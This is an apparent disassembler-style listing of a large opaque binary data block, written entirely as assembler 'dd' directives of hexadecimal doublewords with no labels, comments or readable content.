		dd 0C8CF0059h, 711347A0h, 10F9178h, 409CB4BDh, 0E62F220Bh
		dd 19D8C125h, 804C2905h, 2C48A709h, 0E478CE92h,	98BB000Fh
		dd 1A76F5C0h, 0DF00C9B8h, 0B3B407BCh, 0E946BEh,	0F4B51555h
		dd 580D10A6h, 0A114D600h, 4CA43F9Eh, 46BA0077h,	0BFE7D4C8h
		dd 7500C307h, 6A690C76h, 7369971h, 287F14Fh, 6318081h
		dd 0F60310A7h, 0AFF3B8EFh, 0D6003BCh, 0A288F222h, 0BA807108h
		dd 0FE5D0009h, 44335085h, 8BD9D00h, 54E4740Fh, 3FB00DCh
		dd 551AAA05h, 0E100D0EEh, 52A13A50h, 502B902Ch,	0F84DAh
		dd 6BE93B5h, 0A6C8F501h, 0CAA5791Dh, 91C13C00h,	7CBCF0Eh
		dd 22D4D309h, 7D158092h, 9C074402h, 1296C46Ch, 0F1C595F1h
		dd 71518EE0h, 0A5ED1FD7h, 0B4F80016h, 0F5B8839h, 0A8C2C8C0h
		dd 61D854Ah, 0A16634ECh, 5C60087Ah, 2501CF21h, 8AC903E1h
		dd 561B1244h, 41701861h, 9C47486Ch, 0BD2674D0h,	0D103606Dh
		dd 0AC2D5563h, 9B0E0778h, 0E36511E9h, 90819967h, 6C87E3h
		dd 0F39AD80Bh, 0CB3D15CFh, 2F91950Bh, 34EB0025h, 0C452DEh
		dd 0CC139AF5h, 9B75BF0Bh, 36E21800h, 52985994h,	4ECD00CBh
		dd 72ABB0FBh, 82241F9Eh, 47015D49h, 0CE08B953h,	81F84831h
		dd 0BFD90054h, 0A30E78E5h, 44309B99h, 0B2CC2C1Ch, 257B00A0h
		dd 8D42BFAEh, 8F3896DAh, 9E03791Dh, 0CF2B1B7Ah,	77A8F805h
		dd 0CB3C007Eh, 96A20B7Ch, 1300E880h, 24906266h,	0DBD36Ch
		dd 0A3AE329Bh, 8CB66AD8h, 46D0360Fh, 0A131C11Ch, 0AFE421C2h
		dd 7C691C4Ch, 424080DDh, 53B5DFCAh, 9F48300h, 7223B6DEh
		dd 115007Ah, 0B214B4B8h, 6A00DD3Ah, 0F330FB2Eh,	0E43D2DBh
		dd 0B76BD50Ah, 58106580h, 1C00C278h, 0CF41297Eh, 5991D7h
		dd 72BB9C2Fh, 508E7D0Ch, 650F8277h, 80B19895h, 0F5A14385h
		dd 599300C9h, 0C367DBFDh, 0C5017112h, 78B933B1h, 4AF0C7A5h
		dd 0CB5503B8h, 93CD989Ch, 767924F0h, 8414CF16h,	0DAFB305h
		dd 6100DF1Fh, 58A4485Eh, 6957075Ch, 60CF426Fh, 5DF88F21h
		dd 0F90C8003h, 90AEAB74h, 1A2A31h, 7E78113Eh, 8F5A1DBBh
		dd 45047F00h, 4B9A3C25h, 0F0C83F95h, 0ADABFA80h, 2A5554C5h
		dd 0D106A001h, 0A699F6E5h, 90B41D0h, 0F0435E4Eh, 0C842FE80h
		dd 0C3767F1Ah, 1E931C3Ah, 3700FE68h, 97393DF0h,	0ABE40076h
		dd 26C4E52Bh, 0AC00BA0Ch, 4BCBEB7Ah, 3A5F11h, 8E83CE6Ah
		dd 0C09B6542h, 6958F900h, 490ED8DEh, 0D55F005Dh, 0EDBDF02Fh
		dd 0AE3E7491h, 6CCF00F4h, 0AC67EF12h, 0C2BF3C6Dh, 8B984080h
		dd 0D6CA920Fh, 9ACD1F01h, 0F5517EB8h, 6085D8h, 0F783886Fh
		dd 0D09253B4h, 21DE6A00h, 0EF8FFF4Ch, 0CE1C0018h, 11072C0Ah
		dd 40081E2h, 0B5512B0h,	0F66790h, 1F2AB742h, 0C03763ACh
		dd 1A7522E2h, 7E13880Fh, 4FADEE16h, 4494E02Dh, 0A04E4FC1h
		dd 72511CC3h, 4877E7h, 2378C262h, 28FD57EEh, 0E6CE7D00h
		dd 0BB3BB63Fh, 6F3000A5h, 7A5ABC62h, 0DA2EB333h, 72004C0Dh
		dd 0B782BA03h, 0E58501A8h, 734EBA3h, 0B453C855h, 2A698800h
		dd 2958139h, 58090027h,	0BDC39D3Ah, 4A01DCD3h, 590CEFDFh
		dd 3840E77Ah, 820761h, 521C179Eh, 5B51D2C9h, 488E48h, 0C32E971h
		dd 0F4CB926Ch, 0FADD0086h, 0F5D2D730h, 0F006977h, 54C785ACh
		dd 35F27Bh, 0C98A7E79h,	1A0B9F37h, 9BF8B000h, 0A53F0E45h
		dd 7E231C68h, 0AFA64E66h, 0FCE78280h, 990078F7h, 4FC251DFh
		dd 738BF98Ch, 0BC6D3E69h, 5941E480h, 0C74CE33Eh, 4668E81Eh
		dd 19AF15C7h, 0C0908BA3h, 84123Ah, 0A16989F7h, 48983E02h
		dd 7459F300h, 0FB2F0ACBh, 4EDE0771h, 9042C920h,	6FDD3658h
		dd 0A3529900h, 275A8DB5h, 48FA0590h, 8013CD75h,	0E2288792h
		dd 5F3F3202h, 8725D320h, 0F16060D8h, 0E86FA69Fh, 463B0033h
		dd 253F6571h, 0E1F6225Ch, 8211531h, 0C76092F9h,	816A00A5h
		dd 57C711E4h, 4DFAFB67h, 59051800h, 47D58658h, 0B8D21CF8h
		dd 82235FBDh, 36AF37DBh, 0F5C3EB80h, 5F004342h,	0F1BAA5FEh
		dd 77079C1Fh, 3377112h,	30C3DDC8h, 0CB900C53h, 0FD0003D8h
		dd 3DEE7955h, 3AD9A63h,	95E2C914h, 1CB1E7B7h, 94602481h
		dd 0DE00D4FAh, 0EBED2EEFh, 3A4167h, 6DBFDC73h, 0E7B605FEh
		dd 12042D01h, 53B0435Dh, 0B3820h, 9CA95937h, 0C02989A5h
		dd 160F6101h, 57089950h, 0EA47C700h, 0A25FB500h, 6EA4674Fh
		dd 1F0F043Bh, 80E1AF07h, 0D7CB90Fh, 24C22C00h, 0F1DEBB91h
		dd 0BEE2048Bh, 0C01FF069h, 0D2635CB4h, 6F4C3D00h, 53066EF5h
		dd 0ED7F95h, 60E980F9h,	45418835h, 433CAE09h, 0D4440037h
		dd 49A20C4h, 0FB7DFA26h, 6326801Fh, 730047E8h, 0B93596B5h
		dd 1279C56Dh, 0A1CA561h, 80984Fh, 12180CDBh, 580028FCh
		dd 0C9A12DEDh, 3B684216h, 0D880D4E4h, 98DE13BBh, 55040D3Bh
		dd 0CA37C181h, 25509C87h, 2A0667D2h, 98E6C4h, 0F16632A8h
		dd 94C6BFCCh
		dd 3DFDEB0Eh, 5216C083h, 1B12D9Ch, 0BF132555h, 40425823h
		dd 2734B5DAh, 0EE886C03h, 0A96D3648h, 1CC82F35h, 869B0725h
		dd 41467C78h, 2031EC2Bh, 0DE03A04Ch, 9892AC0h, 9879D369h
		dd 0F4F93Dh, 0D69A467Ah, 2C7EC7B5h, 4816838h, 7C0860B2h
		dd 0B8BE8C80h, 6B7300B3h, 5021AE83h, 600F9211h,	83710CEBh
		dd 985DACB1h, 1CBA162h,	65C35625h, 60E4E94Bh, 0F0A310Bh
		dd 0DC27D17Eh, 0A37CDC00h, 726157h, 74E1521Ah, 8A18DDF6h
		dd 95A739h, 0F3193FB7h,	0E73912h, 0BB0C68D2h, 434453A1h
		dd 0EE903267h, 47EF51E0h, 0B2C9016Ah, 259A73C8h, 6329D095h
		dd 629F3D06h, 9C28FEh, 54BB668Dh, 0C298B0C1h, 40175800h
		dd 0E45CA54Ah, 230202CDh, 0B2E9605h, 9DF1B1C0h,	4783D500h
		dd 210E70C8h, 6ED40304h, 49DAD322h, 0A599C0C4h,	0A1003D78h
		dd 6661E8BCh, 0ED931Bh,	0EA6FCED1h, 906D5B33h, 7500FC98h
		dd 97D3B316h, 4256C7Ah,	9C0835CDh, 20E922AEh, 1367558Fh
		dd 766BD3Ch, 7945CFF6h,	0D2D3910h, 0EFE220h, 5A90382Fh
		dd 0FB703713h, 28C45F24h, 0E5C3D880h, 0D01480h,	0ED7B9327h
		dd 2086F937h, 8403D89Ah, 0CF28E04Dh, 0C80B9D06h, 81140021h
		dd 0FA9D0BF9h, 0F5D00AA9h, 0BB2CD29Ch, 36A269Eh, 313EF7E0h
		dd 0DC2FCBE8h, 3C6DDE2Ch, 357B8987h, 770023Bh, 728449Fh
		dd 0A96B715h, 80E374BDh, 0BC8C8664h, 0D6F8A500h, 8A1A8336h
		dd 0DF911DE9h, 0CA97C0B7h, 768095F6h, 4707D990h, 0DA3917E7h
		dd 24153CB1h, 0C1B064h,	0E8E9CE97h, 5A35A23h, 0B30C2509h
		dd 0ACB03820h, 0FB7500D6h, 0A37BD108h, 0C301CC41h, 0ABC1916Ah
		dd 0C2D8E2D2h, 0EF160059h, 232F3938h, 0AF38103Ah, 8FAC26D7h
		dd 9EC2DF03h, 6001A08Bh, 0CAB42E29h, 37A9BDDCh,	809AE748h
		dd 7E77AA53h, 476E6D0Bh, 70D41872h, 49421E99h, 0C5C003Ch
		dd 0CE92C358h, 0CC295229h, 0A60348AAh, 7E65CC6Ah, 0B0D0D760h
		dd 0EF1DC1Eh, 0E347E9A0h, 5423E6E0h, 0D75C645Dh, 57BF0E43h
		dd 0A48BC0EDh, 49E8C03h, 0ACE49616h, 4A84C07Eh,	0B7EC6ADDh
		dd 3605E0A5h, 20D00946h, 0A848371h, 8F30E25Eh, 0EBF300E8h
		dd 689BC8F5h, 2F560307h, 83AB8455h, 80CAB152h, 0FCDD75h
		dd 2D444708h, 0C67F651Ah, 5088860Bh, 5B7C8057h,	724075h
		dd 0F2DA1FCCh, 0D067E96h, 54F5441Ch, 0CB055CC2h, 5944C4BFh
		dd 738F20EBh, 0E266E080h, 330071EEh, 3C6B880Bh,	1E820229h
		dd 80BBB843h, 0C185B6A3h, 74920CB4h, 188D5C2Ch,	0A0DC9304h
		dd 0AFDCCCCh, 335BD9D6h, 0A22C008Ch, 5DAD3F06h,	12FB9A00h
		dd 0F7776CEFh, 0ACD9057h, 7E81D53Eh, 0B3EC58BCh, 0E4DD4824h
		dd 2DE92285h, 5982A8C8h, 0E604408Eh, 90E34B4Dh,	167B4050h
		dd 3159506h, 90B2D7h, 0C36E0C92h, 1FDDC7F9h, 18C9D032h
		dd 96E0604Bh, 815401BCh, 8A74AFE9h, 1F7C6012h, 0C6270503h
		dd 8049167Dh, 4CA2CB68h, 0B6169DA8h, 0D00401A5h, 0E4C90DEAh
		dd 0AE00C21Bh, 55E386B0h, 1E383574h, 412B8326h,	567B881Ah
		dd 0EC5CE09Dh, 0B3035F7Fh, 3D254CB6h, 0C83CD8F2h, 6AF654h
		dd 0A210A576h, 0EC9AA48Fh, 0C72DD4E7h, 4078F801h, 3B8822ADh
		dd 0BC083480h, 5BA99466h, 940358h, 93AE7112h, 5446A3h
		dd 169C37F0h, 6B6D2EBAh, 15487200h, 0AC33BF43h,	0E4FC2C3Fh
		dd 31CB0090h, 5AFEF4DDh, 3BE01B05h, 0CAC04F50h,	0D50790h
		dd 0B378A73Fh, 8A9E474h, 2E00FDE8h, 8BB78495h, 5A7E3Eh
		dd 29E2687Bh, 78C88785h, 0DE6DDB00h, 82CB0A73h,	0D4E100EAh
		dd 0CDB142DAh, 8C002E53h, 475EE2Dh, 7E9F31h, 0F992FABh
		dd 80074212h, 0AF829700h, 18CF810Ah, 0A2381255h, 47A42094h
		dd 0BD055C8Dh, 2AD48482h, 0DDAE8080h, 24945C13h, 5D1A0900h
		dd 0EC851D61h, 25006AF2h, 80D79E9Fh, 9D65E7h, 0BEE63420h
		dd 53D93A06h, 0FED26C06h, 0F197994h, 8E9D64BCh,	3880810Eh
		dd 52C20B70h, 6ECE5900h, 4DABB2FFh, 71116328h, 80FFD43h
		dd 0E049A458h, 6F32DB3Bh, 0FAC18BBh, 6C163860h,	0DD5EB300h
		dd 4EE6C9C3h, 0F4F10EB2h, 3DC07985h, 0D0F9071Eh, 0C3AABD01h
		dd 0F05C2168h, 397A4F20h, 748079B9h, 1FA0360Ah,	35900BE7h
		dd 38BC2B00h, 65B73B5Fh, 0F1E203h, 0C0D64A48h, 17E86A9h
		dd 187BC200h, 892DE1F9h, 1DC90C81h, 7FB0FBE7h, 0C7251B03h
		dd 0E85FFD5Ch, 547A533h, 977A3422h, 17140E1Fh, 4435C460h
		dd 681F2A06h, 6C404E80h, 0D6893A1Ah, 3BEABFh, 0C40436ECh
		dd 0CC30146Bh, 26D33C0Fh, 15612055h, 679A4Ah, 2202CFAFh
		dd 76480C91h, 0EF7DB00h, 16AC185Eh, 0EBA81D27h,	7A30C06Ch
		dd 4653700Ah, 587CC400h, 0B11BFE56h, 0E6000A0h,	5F33DFD3h
		dd 0FD73BA0Fh, 9C881900h, 0F99A96B4h, 0C8031C3Ch, 0DB470066h
		dd 371DAEE2h, 0A459B500h, 2923C1BFh, 98E018Dh, 449AB72Dh
		dd 1E7BC856h, 75C82158h, 64F57A00h, 664DE1EEh, 0E2EF035h
		dd 6A250116h, 0CAFDA860h, 3B023885h, 5F0D722Bh,	0EE6560D7h
		dd 528F0753h, 20085811h, 715B1DA8h, 0AEB05C17h,	0B1DAC500h
		dd 724BEBAh, 0A0598E18h, 3A4CC1B8h, 0C89BDCAEh,	216CF100h
		dd 1806A85Ah, 76722491h, 13C68134h, 80AD2BD6h, 6D3C7811h
		dd 71CF8A64h, 712FECEh,	0D25BE03Ah, 43B5A042h, 3B010E6Dh
		dd 2E7B19DCh, 41706358h, 0DF8C1848h, 95A4874h, 0B92D8339h
		dd 1548660h, 0A78F4BAh,	2AD913C4h, 6D4B8138h, 0A03788F9h
		dd 0B2203868h, 444A00D1h, 2398F76Dh, 0DC00A9D3h, 8FB9C831h
		dd 1335DA1h, 7F3A8D3Eh,	0F8CE19C1h, 3C302623h, 0E14A6873h
		dd 78896053h, 5E9FB50Fh, 6570DDF2h, 73D43D3Eh, 1F1E33Fh
		dd 4550E11h, 1430603Ch,	782CF62Ah, 0E25C00D2h, 0B28658A6h
		dd 2300BCC0h, 11547133h, 8A7E90h, 0EF422CFAh, 5965B546h
		dd 72E81D00h, 0A6AA1F23h, 550F3391h, 6AE83830h,	0C5EC5E5Bh
		dd 13A5EA00h, 18592669h, 0EFBB06B9h, 380CE2B8h,	0F4F2B10Bh
		dd 0A5CC00BFh, 899C73h,	4627D3E3h, 659FA2D5h, 6C37D401h
		dd 2CBE3E54h, 1FCEF8ECh, 426270FFh, 0A0D3AD29h,	92F9E540h
		dd 0B0455001h, 0B515830Ah, 0C254D1C7h, 99B7E4h,	0FC0B0D6Ah
		dd 0DB46E217h, 58C0F578h, 0D7308333h, 0DA69007Ah, 710E4E1Ah
		dd 0C0001C53h, 0C8EB21F2h, 0A8BA7h, 93C4DC20h, 0BE134E32h
		dd 373A61B0h, 0B5983CCh, 9045E940h, 783BEC28h, 18A4E07Fh
		dd 6825FB9Bh, 8103473Ah, 0BF5909E2h, 0B31DB0F0h, 656107E8h
		dd 30777553h, 6D5218FCh, 0DD972300h, 1CEA2CDAh,	0C5AC0F17h
		dd 740346EBh, 5AC01FECh, 8701AD24h, 9C3ABCB6h, 50807192h
		dd 4FB70A86h, 89072668h, 0D732F2C3h, 0F076CA43h, 72FA84B4h
		dd 7EFD012Ah, 5A31B0C7h, 0C05FFCA2h, 26009A90h,	804A1D70h
		dd 7B16D23h, 0FCD9560Eh, 9658C36Ch, 0E7A96FA8h,	0B68E3200h
		dd 507B388Bh, 0D0391D0Eh, 0A28F80CCh, 73632DA3h, 2696A900h
		dd 2EA1887Dh, 5AC10E97h, 5286AE23h, 0C507203Ch,	76347D4Fh
		dd 15C8A56h, 8248FA3Bh,	0CC7AAA6Eh, 0A23DDF27h,	0CBBE85EFh
		dd 28C079CFh, 298404h, 60CAD9D5h, 651CEC2Eh, 0F7B29A00h
		dd 0FCEFBE28h, 3C2FCF9h, 70923B3Eh, 0BBF8DFE2h,	0A001F06h
		dd 4B22BECEh, 34144F0h,	5346AA31h, 0DA885C54h, 9000B877h
		dd 0E0421759h, 80E3A8h,	133029F1h, 879A5547h, 490A1D00h
		dd 16A5D436h, 58762Bh, 0B20718B3h, 0B1B98BC9h, 0D1681300h
		dd 33CA87A5h, 45380FC7h
		dd 3D41A065h, 0CCF87976h, 783B8860h, 64D00E6Bh,	0DC37A09Fh
		dd 0E875E6h, 0C59381E9h, 0F8E0EA7Fh, 0D9ACB817h, 0D25E9F07h
		dd 0B910B640h, 0DDB5001Ah, 51B7C77Bh, 0EA0613B0h, 62C05B81h
		dd 0C68B0031h, 5F57E62Eh, 6E189315h, 16C9EE0Eh,	0C801861Eh
		dd 10CFCD1Dh, 1A08B1AEh, 6DCC71C0h, 0F29DF636h,	0F45C00A2h
		dd 0C2F8DC56h, 92302B87h, 0CA4FA96Ah, 0FD8600D7h, 392D1CA3h
		dd 3D4C5146h, 0B2590063h, 0BC8F12B0h, 0F5DF1EF2h, 93DE80E2h
		dd 0A222E6B3h, 0AEF95100h, 0AF5F1DF3h, 11BB07B8h, 7070B144h
		dd 8EEFE42h, 0DC4CE324h, 0A3533D00h, 0F047649h,	426761ADh
		dd 5ACC84A3h, 0F6CF68D8h, 3D352500h, 85661D9Bh,	62093E7Fh
		dd 0E313BC03h, 0A4E1F6FEh, 0C24B6080h, 250B100Fh, 0EC3522FBh
		dd 0F0F963BEh, 751F6EE5h, 36D30091h, 52181CAh, 7312AD1Bh
		dd 2300F87Ch, 7FA85434h, 11E400E3h, 7588859h, 0DF00AB3Fh
		dd 230C8DAh, 76A2EE21h,	531E1F1Ch, 8C5DC0A1h, 0BDF27FEFh
		dd 6A6BAB00h, 3C468D58h, 0BDFD5004h, 0C8D8002Eh, 60966DC3h
		dd 540A1127h, 90D25120h, 0FF352800h, 0C0698CD1h, 0FD6D941h
		dd 271D2DD5h, 8800934Dh, 95BE801h, 0F55831h, 7ADAE400h
		dd 0E2875CBBh, 91485F00h, 0D8126BD0h, 16050071h, 14730B21h
		dd 80079710h, 0A9A6178Bh, 5E44E01Fh, 0F56794h, 0F6B5D903h
		dd 0A616288Fh, 0D31AF800h, 68E34120h, 30F0C2h, 55E8AE9h
		dd 1F4B43D6h, 502FD009h, 898B00D9h, 0DCB623h, 0BDFE833Bh
		dd 4152AE9Dh, 0BF627CE8h, 60BAA120h, 7A4E9F1h, 8F7DBC61h
		dd 0C443C1A8h, 0CBCBFD4Fh, 0AD8D8D3h, 3560F1A9h, 1544F939h
		dd 6E2F00D2h, 0E5631245h, 821D03E9h, 0E1DEA2BAh, 7C226942h
		dd 5C764033h, 58A66713h, 0FA4C50BFh, 0BC609D12h, 48378510h
		dd 0BA7300C7h, 0B26A20CCh, 41304B24h, 0E663F891h, 686037Ah
		dd 0B5A65CF1h, 0F07BDCA8h, 0D2E278A5h, 75E218C0h, 7E0121F6h
		dd 6978AC6Dh, 0A043D9FAh, 8AA0E08Bh, 0A2A30010h, 59D3FCE5h
		dd 0C8381DC6h, 7945DC2Ah, 5C820C01h, 7D7E97AAh,	167325D8h
		dd 2AAD89h, 71A06F02h, 560083F3h, 5EC06401h, 1F5406CCh
		dd 0DDDC7418h, 1EEA567Bh, 0B834033Ah, 0C9C03FD6h, 0FC00335Fh
		dd 0BA636B90h, 195D4DDh, 0BEE71998h, 0E0963FFAh, 1D3C18D8h
		dd 0AB9000CCh, 63DE1507h, 6FEF0017h, 728F4B1Bh,	0F401C864h
		dd 18ADE6F1h, 9C7197EDh, 5525A1E3h, 0DE8DF0h, 810911E5h
		dd 0AA720AEAh, 53946D1Ch, 22BFE0C0h, 1FE54F9Dh,	40FEDD57h
		dd 8FAAE92Bh, 0EE3D0634h, 7DD11F43h, 5DDE30C0h,	919AF4h
		dd 0E61A82DBh, 0AE64B1B0h, 0D4DAF007h, 857043AFh, 0DE1402h
		dd 0D8F213B8h, 186D3EE6h, 0F8001C71h, 0AC3F057Ah, 0C041B94h
		dd 3976415Fh, 300A1D0h,	0D06D99E9h, 92B6B0h, 0F2A644ABh
		dd 3024AABFh, 0DF3A9500h, 0CBB21DF9h, 375B0393h, 0B9D1B128h
		dd 77B8FC80h, 0D200EE7Ah, 0FAA60FCCh, 1F7ACDDEh, 80321E3Eh
		dd 93F831BAh, 2E1D6780h, 0CDF8694h, 68EA07BBh, 0EC9515CAh
		dd 35DE300h, 17B93Fh, 0C3113FBh, 4614B841h, 712DCB0Ch
		dd 5896916Ch, 0C00028CFh, 82868F9Ah, 4600B7F1h,	0D0935F89h
		dd 32ED7BDh, 42247B72h,	0D801B187h, 14BC1B5h, 0CD61FC2Bh
		dd 4A43F180h, 814CCB25h, 0E7E2650Fh, 0D62180D1h, 689C358h
		dd 0DDB8F317h, 9E105992h, 3B1B7FC9h, 58007066h,	0ABF43467h
		dd 44A7AA88h, 540215C2h, 9665803Dh, 2D9010A5h, 51FCB640h
		dd 0FEE4585Dh, 65AF80D5h, 45B72CA0h, 88ADBB08h,	0E33161F6h
		dd 5ECA0093h, 0F43088D0h, 10F0B140h, 18D1AFB7h,	0E3B1331Eh
		dd 3784A4C7h, 82B16DFBh, 0ED20BD9Fh, 107360FFh,	82B07E65h
		dd 286AC9Ch, 0B9005EF4h, 0A8066AAEh, 0E016ACh, 0D13D8E20h
		dd 0AF73A2D6h, 0E60DA700h, 12D5B7BDh, 40241E72h, 756FCF50h
		dd 5098ADC7h, 0CED31E82h, 7F80BC60h, 21C4B1h, 88A8A336h
		dd 19719D17h, 0E644C00h, 0E8890394h, 5E200038h,	0DC572385h
		dd 6A980AD1h, 27A08860h, 0EE6B1DF5h, 0F9A801ACh, 0E581BAA4h
		dd 929C40A9h, 0F5003039h, 1283C931h, 0F4AE0ECAh, 5892C77Eh
		dd 17DD406Ah, 0CE2A213h, 4DD1E816h, 0E88A4B0Ch,	823000B9h
		dd 0A537B43Fh, 0CE491C73h, 507B2698h, 0F21A0300h, 6E54E8h
		dd 7104EFF4h, 8A7EAE63h, 519A4800h, 0B1F36A23h,	81CF000Ah
		dd 837B4F1Bh, 67035F2Ch, 6B2440B4h, 732A0038h, 58C3B712h
		dd 0E661E13Dh, 0C0E9A569h, 0F087EC47h, 0BA2F9D00h, 0E6C4A83Ch
		dd 0DE19000Ah, 1D4061B4h, 0F9C0BB90h, 5E85CE11h, 777D1DE1h
		dd 0EF2C13AAh, 9C4D3E07h, 7A807ED4h, 284F04h, 36E03B63h
		dd 4B9003F8h, 0E24EF900h, 54E61E51h, 96493E56h,	3C887200h
		dd 4CBEFAFEh, 0D30E807h, 4BE0EB6Ch, 0ED8E59h, 0E1381390h
		dd 0DEEC1C66h, 0B8A5C00h, 32EA5514h, 2CDD000Ch,	0D200F1Dh
		dd 0F303607Dh, 3909B30h, 63D4D8BBh, 0A3871D21h,	92F9001Bh
		dd 682A33B2h, 32AB1300h, 72026EC2h, 0BDE80065h,	4835ED8Fh
		dd 0FA002D81h, 3396297Ch, 3FA42FAFh, 9E00665Dh,	6C9CF990h
		dd 0A9029773h, 9849DCE7h, 7D21400Bh, 8B510176h,	0B046A08Fh
		dd 3D807A99h, 28D27237h, 8F7350h, 29457BC9h, 69FDAED7h
		dd 0D1B0200h, 0C0A30CB2h, 0B6D11DD4h, 931F80A6h, 9BF73C12h
		dd 70000DE6h, 0A90CCC13h, 0B03E5062h, 120F39B4h, 0E78AC800h
		dd 0AE2E067Eh, 24656E3Eh, 0B900493Bh, 8B531B90h, 716A0063h
		dd 0AD54D8CFh, 1E00D31Dh, 138A59C8h, 7C054EE0h,	0F32E00DEh
		dd 5FD0D7AFh, 0F71DA97Ah, 0A0074425h, 7F87CB94h, 2228DDE6h
		dd 207CAEA7h, 44261A02h, 3C006FDh, 0B0D89907h, 36E06B2Eh
		dd 2856680h, 514435A6h,	9007BFEBh, 111EAAD4h, 86600C01h
		dd 20255004h, 2F50951Bh, 10FD4314h, 0C6EB41E3h,	790599A0h
		dd 83ABC210h, 0A15BF718h, 0A403BE1h, 9722446Dh,	22829A20h
		dd 1E3102FBh, 0F301290Bh, 88F4A186h, 0CF60F0DCh, 0CDD62829h
		dd 4EF20085h, 0F533FA0Dh, 0D3009974h, 78203D5Dh, 1D57D4Ch
		dd 5A645821h, 204F9ED1h, 7E0F34D3h, 0A013C1B2h,	0DFDA34Eh
		dd 0E456174Ch, 0EA2100E7h, 666D229Ah, 7F64F43Ah, 14FE3100h
		dd 55D725E3h, 0AB0A3C5Bh, 12E28080h, 20704657h,	209E092Ch
		dd 0C52CA07h, 77EA0240h, 0F92800ADh, 0AE0F8287h, 440046B1h
		dd 1EFD16D6h, 6D77EBh, 0BAAA2AFAh, 0F4D25F63h, 27C2500h
		dd 350EB538h, 14D30CD8h, 0EE24F06Fh, 0C0DAC400h, 0F31E3ABEh
		dd 171D06C1h, 60C367E3h, 3F7DC800h, 26D0F51Bh, 782E01D5h
		dd 0D25C9DB9h, 6977C87Fh, 0A9367D00h, 0CDC3B50Dh, 15590034h
		dd 5A435E57h, 521DEA8Fh, 230EE205h, 0C7BE0098h,	0D9141Fh
		dd 39613F11h, 0E46AB542h, 354A1D09h, 0AD6C8001h, 0F0A8Eh
		dd 2DB1C21Eh, 58A25B4Ch, 9600227Bh, 0F8DFA388h,	3AB867A9h
		dd 170EB057h, 5A6F181Fh, 45268900h, 843F5174h, 0E7DE801Ch
		dd 40B8EEC8h, 3D093CD9h, 0B170CE80h, 0B0F9133Ch, 8073E239h
		dd 9679DF1Dh, 2E8D8883h, 1E7CC566h, 4C9C8072h, 302E2840h
		dd 80EED700h, 22260D6Ch, 0C6720020h, 24941FB2h,	60063E5h
		dd 8EBAE31h, 0FEF569h, 0B968A792h, 0B46A273Ch, 4CBB6B00h
		dd 0CBA48353h, 10FB04Dh, 5AE63F77h, 208CA6DFh, 46001BE4h
		dd 0ACD9B96Eh, 28A1ABh,	5AA40BFBh, 518B70EEh, 4999E307h
		dd 60F0D820h, 7895C0Ch,	0C83A1B86h, 0EF8CA117h,	0C2D8F8D0h
		dd 0A952A40Eh, 385B6058h
		dd 35771B6h, 0E03A7F80h, 0EBA0E28Dh, 0CF006853h, 71A39135h
		dd 1A91187h, 6F0D06DDh,	0FCC5CBD3h, 0EE17D817h,	0C001B4B2h
		dd 0E99C66B5h, 0B7ED20h, 1542766Fh, 0DBC19AD5h,	0C593E000h
		dd 600A51D6h, 3A7BCCh, 2915FD18h, 0C22FEDE9h, 6AF77100h
		dd 0A58EE63Ch, 27D903C7h, 9B3E1D20h, 3D695800h,	0C1AF7197h
		dd 65F2BFh, 25ECCF6Dh, 8BCB4EBh, 134F7D00h, 5B0976DBh
		dd 69D400FDh, 0B1595438h, 14B0E2F3h, 0DE1EFE0Ch, 81191h
		dd 1DA12239h, 4B795D82h, 0B8F97A00h, 0F485BAACh, 0F7B90h
		dd 0BB7C9108h, 0FA5CAF31h, 3EBCD607h, 0C660CEE1h, 7898D9h
		dd 0A644133h, 6E5BF088h, 7BDE0F1Dh, 26006D2Ch, 7C85365h
		dd 0A5200AFh, 5C76B0B5h, 9B0EA19Ah, 0E01AB33Bh,	52BDCD4Ah
		dd 0F0E40393h, 589FC20Fh, 61BA1FD8h, 32C0AE00h,	27EF898Ch
		dd 0C22E00ACh, 2CC5C35Dh, 6E011F74h, 64D8115Bh,	50F45485h
		dd 26481Ch, 5EA08EEh, 1DA60BEh,	9A00604Bh, 596729E8h, 0C30AFB5Bh
		dd 719BC1Ch, 0F5845CF0h, 21E40F07h, 0ED26E397h,	8A433C20h
		dd 662F1080h, 5C5FC8Fh,	687A58h, 3059EDD2h, 0FE1F77h, 635A956Bh
		dd 0E1A154F2h, 7EF9EE07h, 0C40B115h, 2434D4h, 8E5B7231h
		dd 4065409h, 354B2300h,	267A7450h, 0CB2439C3h, 7259DD00h
		dd 68635FC8h, 2153600Ch, 912834h, 39BC0590h, 667EC992h
		dd 9400F898h, 8D03A67Ch, 3CD4B6EDh, 3FC4AAEh, 0E00A90BAh
		dd 0F8A85D75h, 0B1F80582h, 23B26700h, 3C79EF14h, 5E5F1FF9h
		dd 3FD5C0A9h, 0C14B34C0h, 15DF8600h, 94FEFFE5h,	0CC40189h
		dd 9A4C5ADBh, 3EBFC8F1h, 69163D00h, 0C0EF9EB1h,	24654928h
		dd 0D5E84809h, 2BC06A8Fh, 0E58702CDh, 44DDA00h,	2C4B3695h
		dd 0CCEC182Dh, 7BCBB293h, 54053Eh, 8D421677h, 755DA2D5h
		dd 1B800070h, 32089F58h, 9A2D1CD6h, 23F560A7h, 0F89B0019h
		dd 91372254h, 0EE0183DCh, 74389056h, 0FEE8D0D5h, 0F8C500ADh
		dd 8481D604h, 0A3012594h, 4EB0200Bh, 6E70F43Fh,	0BD0300CEh
		dd 189D48ADh, 0D492C5DBh, 4DF02801h, 8067E698h,	0A668CCh
		dd 26EF5BE2h, 661F630Dh, 0BA65180Eh, 9ACEC5h, 0F105DC98h
		dd 221B3E49h, 45EE7180h, 540AFE97h, 4EE2A300h, 0B5BC0F95h
		dd 0FC2B1C73h, 0C0AB80BDh, 0B8643FF6h, 7CFB781Dh, 515EEC80h
		dd 1CE87F9Dh, 6086EEh, 0E6D2A699h, 3D006C25h, 3C1662BEh
		dd 7012D4h, 48F828EBh, 5CC018BFh, 60481B51h, 9EF00396h
		dd 9322D100h, 0B9BC2C06h, 14F202h, 0E544509Bh, 0C547823Fh
		dd 685EDA00h, 0AC3A704Ah, 6160C71Ch, 7B902195h,	0E1E8EF58h
		dd 18F41AF3h, 8A1DB30Fh, 4F158080h, 58A4C1E4h, 0BC12A898h
		dd 79610EB7h, 0D28E6FC0h, 70000BEFh, 63536CE2h,	17EE0A1h
		dd 0B64F97B8h, 7081501Ch, 3B0905A2h, 8376A490h,	0A8F0496Dh
		dd 0DFD563h, 8CE3D42Eh,	0FA23F8ABh, 5C620200h, 0AA3C39BDh
		dd 75297EE2h, 0DF200D3h, 0B16178B3h, 0A803D773h, 2E34093Dh
